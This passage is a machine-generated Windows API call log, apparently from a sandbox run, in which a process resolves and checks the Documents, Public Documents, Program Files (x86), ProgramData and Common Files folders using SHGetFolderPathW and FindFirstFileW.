out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0091.560] GetLastError () returned 0x12 [0091.561] FindClose (in: hFindFile=0x758e58 | out: hFindFile=0x758e58) returned 1 [0091.561] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Windows", len=0xa | out: pbstr=0x28f578*="c:\\Windows") returned 1 [0091.561] SysReAllocStringLen (in: pbstr=0x28f8d4*="c:\\Windows", psz="c:\\Windows\\", len=0xb | out: pbstr=0x28f8d4*="c:\\Windows\\") returned 1 [0091.630] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Windows\\", len=0xb | out: pbstr=0x28f574*="c:\\Windows\\") returned 1 [0091.630] SysReAllocStringLen (in: pbstr=0x28f8d4*="c:\\Windows\\", psz="c:\\Windows", len=0xa | out: pbstr=0x28f8d4*="c:\\Windows") returned 1 [0091.630] SysReAllocStringLen (in: pbstr=0x28f8d8*=0x0, psz="c:\\Windows", len=0xa | out: pbstr=0x28f8d8*="c:\\Windows") returned 1 [0091.630] SysReAllocStringLen (in: pbstr=0x4605ec*=0x0, psz="c:\\Windows\\", len=0xb | out: pbstr=0x4605ec*="c:\\Windows\\") returned 1 [0091.630] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0091.634] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", cchLength=0x27 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\documents") returned 0x27 [0091.634] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrgjn0js halpmcxz\\documents", len=0x27 | out: pbstr=0x470638*="c:\\users\\5p5nrgjn0js halpmcxz\\documents") returned 1 [0091.634] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.635] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0091.635] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x47067c*="5p5nrgjn0js halpmcxz") returned 1 [0091.635] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="documents", len=0x9 | out: pbstr=0x470688*="documents") returned 1 [0091.635] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0091.635] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrgjn0js halpmcxz", cchWideChar=20, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrgjn0js halpmcxz", lpUsedDefaultChar=0x0) returned 20 [0091.635] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="documents", cchWideChar=9, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="documentsjs halpmcxz", lpUsedDefaultChar=0x0) returned 9 [0091.635] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.635] SysReAllocStringLen (in: pbstr=0x28f8c8*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8c8*="c:\\") returned 1 [0091.635] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0091.635] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x759740 [0091.636] FindNextFileW (in: hFindFile=0x759740, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0091.636] GetLastError () returned 0x12 [0091.636] FindClose (in: hFindFile=0x759740 | out: hFindFile=0x759740) returned 1 [0091.636] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0091.636] SysReAllocStringLen (in: pbstr=0x28f8c8*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f8c8*="c:\\Users\\") returned 1 [0091.636] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="5p5nrgjn0js halpmcxz", len=0x14 | out: pbstr=0x28f584*="5p5nrgjn0js halpmcxz") returned 1 [0091.636] FindFirstFileW (in: lpFileName="c:\\Users\\5p5nrgjn0js halpmcxz", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x759740 [0091.636] FindNextFileW (in: hFindFile=0x759740, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0 [0091.636] GetLastError () returned 0x12 [0091.636] FindClose (in: hFindFile=0x759740 | out: hFindFile=0x759740) returned 1 [0091.636] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz", len=0x1d | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz") returned 1 [0091.636] SysReAllocStringLen (in: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", len=0x1e | out: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 1 [0091.636] SysReAllocStringLen (in: pbstr=0x28f584*="5p5nrgjn0js halpmcxz", psz="documents", len=0x9 | out: pbstr=0x28f584*="documents") returned 1 [0091.637] FindFirstFileW (in: lpFileName="c:\\Users\\5p5NrGJn0jS HALPmcxz\\documents", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa16178f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa16178f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0x759798 [0091.637] FindNextFileW (in: hFindFile=0x759798, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa16178f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa16178f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0 [0091.637] GetLastError () returned 0x12 [0091.637] FindClose (in: hFindFile=0x759798 | out: hFindFile=0x759798) returned 1 [0091.637] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", len=0x27 | out: pbstr=0x28f578*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0091.637] SysReAllocStringLen (in: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", len=0x28 | out: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned 1 [0091.637] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", len=0x28 | out: pbstr=0x28f574*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned 1 [0091.637] SysReAllocStringLen (in: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", len=0x27 | out: pbstr=0x28f8c8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0091.638] SysReAllocStringLen (in: pbstr=0x28f8cc*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", len=0x27 | out: pbstr=0x28f8cc*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0091.638] SysReAllocStringLen (in: pbstr=0x4605e8*=0x0, psz="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", len=0x28 | out: pbstr=0x4605e8*="c:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned 1 [0091.638] SHGetFolderPathW (in: hwnd=0x0, csidl=46, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Users\\Public\\Documents") returned 0x0 [0091.639] CharLowerBuffW (in: lpsz="C:\\Users\\Public\\Documents", cchLength=0x19 | out: lpsz="c:\\users\\public\\documents") returned 0x19 [0091.639] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\public\\documents", len=0x19 | out: pbstr=0x470638*="c:\\users\\public\\documents") returned 1 [0091.639] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.639] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0091.640] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="public", len=0x6 | out: pbstr=0x47067c*="public") returned 1 [0091.640] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="documents", len=0x9 | out: pbstr=0x470688*="documents") returned 1 [0091.640] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userså(", lpUsedDefaultChar=0x0) returned 5 [0091.640] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="public", cchWideChar=6, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="public(", lpUsedDefaultChar=0x0) returned 6 [0091.640] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="documents", cchWideChar=9, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="documents7ou0å(", lpUsedDefaultChar=0x0) returned 9 [0091.640] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.640] SysReAllocStringLen (in: pbstr=0x28f8bc*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8bc*="c:\\") returned 1 [0091.640] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0091.640] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x75a8d0 [0091.640] FindNextFileW (in: hFindFile=0x75a8d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0 [0091.641] GetLastError () returned 0x12 [0091.641] FindClose (in: hFindFile=0x75a8d0 | out: hFindFile=0x75a8d0) returned 1 [0091.641] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Users", len=0x8 | out: pbstr=0x28f578*="c:\\Users") returned 1 [0091.641] SysReAllocStringLen (in: pbstr=0x28f8bc*="c:\\Users", psz="c:\\Users\\", len=0x9 | out: pbstr=0x28f8bc*="c:\\Users\\") returned 1 [0091.641] SysReAllocStringLen (in: pbstr=0x28f584*="users", psz="public", len=0x6 | out: pbstr=0x28f584*="public") returned 1 [0091.641] FindFirstFileW (in: lpFileName="c:\\Users\\public", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0x75a8d0 [0091.641] FindNextFileW (in: hFindFile=0x75a8d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0091.641] GetLastError () returned 0x12 [0091.641] FindClose (in: hFindFile=0x75a8d0 | out: hFindFile=0x75a8d0) returned 1 [0091.641] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\", psz="c:\\Users\\Public", len=0xf | out: pbstr=0x28f578*="c:\\Users\\Public") returned 1 [0091.641] SysReAllocStringLen (in: pbstr=0x28f8bc*="c:\\Users\\Public", psz="c:\\Users\\Public\\", len=0x10 | out: pbstr=0x28f8bc*="c:\\Users\\Public\\") returned 1 [0091.641] SysReAllocStringLen (in: pbstr=0x28f584*="public", psz="documents", len=0x9 | out: pbstr=0x28f584*="documents") returned 1 [0091.641] FindFirstFileW (in: lpFileName="c:\\Users\\Public\\documents", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0x75a8d0 [0091.642] FindNextFileW (in: hFindFile=0x75a8d0, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 0 [0091.642] GetLastError () returned 0x12 [0091.642] FindClose (in: hFindFile=0x75a8d0 | out: hFindFile=0x75a8d0) returned 1 [0091.642] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Users\\Public\\", psz="c:\\Users\\Public\\Documents", len=0x19 | out: pbstr=0x28f578*="c:\\Users\\Public\\Documents") returned 1 [0091.642] SysReAllocStringLen (in: pbstr=0x28f8bc*="c:\\Users\\Public\\Documents", psz="c:\\Users\\Public\\Documents\\", len=0x1a | out: pbstr=0x28f8bc*="c:\\Users\\Public\\Documents\\") returned 1 [0091.642] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Users\\Public\\Documents\\", len=0x1a | out: pbstr=0x28f574*="c:\\Users\\Public\\Documents\\") returned 1 [0091.642] SysReAllocStringLen (in: pbstr=0x28f8bc*="c:\\Users\\Public\\Documents\\", psz="c:\\Users\\Public\\Documents", len=0x19 | out: pbstr=0x28f8bc*="c:\\Users\\Public\\Documents") returned 1 [0091.643] SysReAllocStringLen (in: pbstr=0x28f8c0*=0x0, psz="c:\\Users\\Public\\Documents", len=0x19 | out: pbstr=0x28f8c0*="c:\\Users\\Public\\Documents") returned 1 [0091.643] SysReAllocStringLen (in: pbstr=0x460600*=0x0, psz="c:\\Users\\Public\\Documents\\", len=0x1a | out: pbstr=0x460600*="c:\\Users\\Public\\Documents\\") returned 1 [0091.643] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0091.644] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)", cchLength=0x16 | out: lpsz="c:\\program files (x86)") returned 0x16 [0091.644] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\program files (x86)", len=0x16 | out: pbstr=0x470638*="c:\\program files (x86)") returned 1 [0091.645] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.645] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="program files (x86)", len=0x13 | out: pbstr=0x47065c*="program files (x86)") returned 1 [0091.645] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="program files (x86)", cchWideChar=19, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="program files (x86)", lpUsedDefaultChar=0x0) returned 19 [0091.645] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.645] SysReAllocStringLen (in: pbstr=0x28f8b0*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8b0*="c:\\") returned 1 [0091.645] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="program files (x86)", len=0x13 | out: pbstr=0x28f584*="program files (x86)") returned 1 [0091.645] FindFirstFileW (in: lpFileName="c:\\program files (x86)", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 0x75aa60 [0091.645] FindNextFileW (in: hFindFile=0x75aa60, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 0 [0091.645] GetLastError () returned 0x12 [0091.645] FindClose (in: hFindFile=0x75aa60 | out: hFindFile=0x75aa60) returned 1 [0091.646] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Program Files (x86)", len=0x16 | out: pbstr=0x28f578*="c:\\Program Files (x86)") returned 1 [0091.646] SysReAllocStringLen (in: pbstr=0x28f8b0*="c:\\Program Files (x86)", psz="c:\\Program Files (x86)\\", len=0x17 | out: pbstr=0x28f8b0*="c:\\Program Files (x86)\\") returned 1 [0091.646] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Program Files (x86)\\", len=0x17 | out: pbstr=0x28f574*="c:\\Program Files (x86)\\") returned 1 [0091.646] SysReAllocStringLen (in: pbstr=0x28f8b0*="c:\\Program Files (x86)\\", psz="c:\\Program Files (x86)", len=0x16 | out: pbstr=0x28f8b0*="c:\\Program Files (x86)") returned 1 [0091.646] SysReAllocStringLen (in: pbstr=0x28f8b4*=0x0, psz="c:\\Program Files (x86)", len=0x16 | out: pbstr=0x28f8b4*="c:\\Program Files (x86)") returned 1 [0091.646] SysReAllocStringLen (in: pbstr=0x460604*=0x0, psz="c:\\Program Files (x86)\\", len=0x17 | out: pbstr=0x460604*="c:\\Program Files (x86)\\") returned 1 [0091.646] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\ProgramData") returned 0x0 [0091.649] CharLowerBuffW (in: lpsz="C:\\ProgramData", cchLength=0xe | out: lpsz="c:\\programdata") returned 0xe [0091.649] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x470638*="c:\\programdata") returned 1 [0091.649] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.649] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="programdata", len=0xb | out: pbstr=0x47065c*="programdata") returned 1 [0091.649] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataes (x86)", lpUsedDefaultChar=0x0) returned 11 [0091.650] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0091.650] SysReAllocStringLen (in: pbstr=0x28f8a4*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8a4*="c:\\") returned 1 [0091.650] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f584*="programdata") returned 1 [0091.650] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x75ac18 [0091.650] FindNextFileW (in: hFindFile=0x75ac18, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0091.650] GetLastError () returned 0x12 [0091.650] FindClose (in: hFindFile=0x75ac18 | out: hFindFile=0x75ac18) returned 1 [0091.650] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f578*="c:\\ProgramData") returned 1 [0091.650] SysReAllocStringLen (in: pbstr=0x28f8a4*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f8a4*="c:\\ProgramData\\") returned 1 [0091.650] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f574*="c:\\ProgramData\\") returned 1 [0091.651] SysReAllocStringLen (in: pbstr=0x28f8a4*="c:\\ProgramData\\", psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f8a4*="c:\\ProgramData") returned 1 [0091.651] SysReAllocStringLen (in: pbstr=0x28f8a8*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f8a8*="c:\\ProgramData") returned 1 [0091.651] SysReAllocStringLen (in: pbstr=0x460608*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x460608*="c:\\ProgramData\\") returned 1 [0091.651] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0x460630 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 0x0 [0091.652] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Common Files", cchLength=0x23 | out: lpsz="c:\\program files (x86)\\common files") returned 0x23 [0091.652] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\program files (x86)\\common files", len=0x23 | out: pbstr=0x470638*="c:\\program files (x86)\\common files") returned 1 [0091.652] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0091.652] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="program files (x86)", len=0x13 | out: pbstr=0x47065c*="program files (x86)") returned 1 [0091.652] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="common files", len=0xc | out: pbstr=0x47067c*="common files") returned 1 [0091.652] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="program files (x86)", cchWideChar=19, lpMultiByteStr=0x28e4f8, 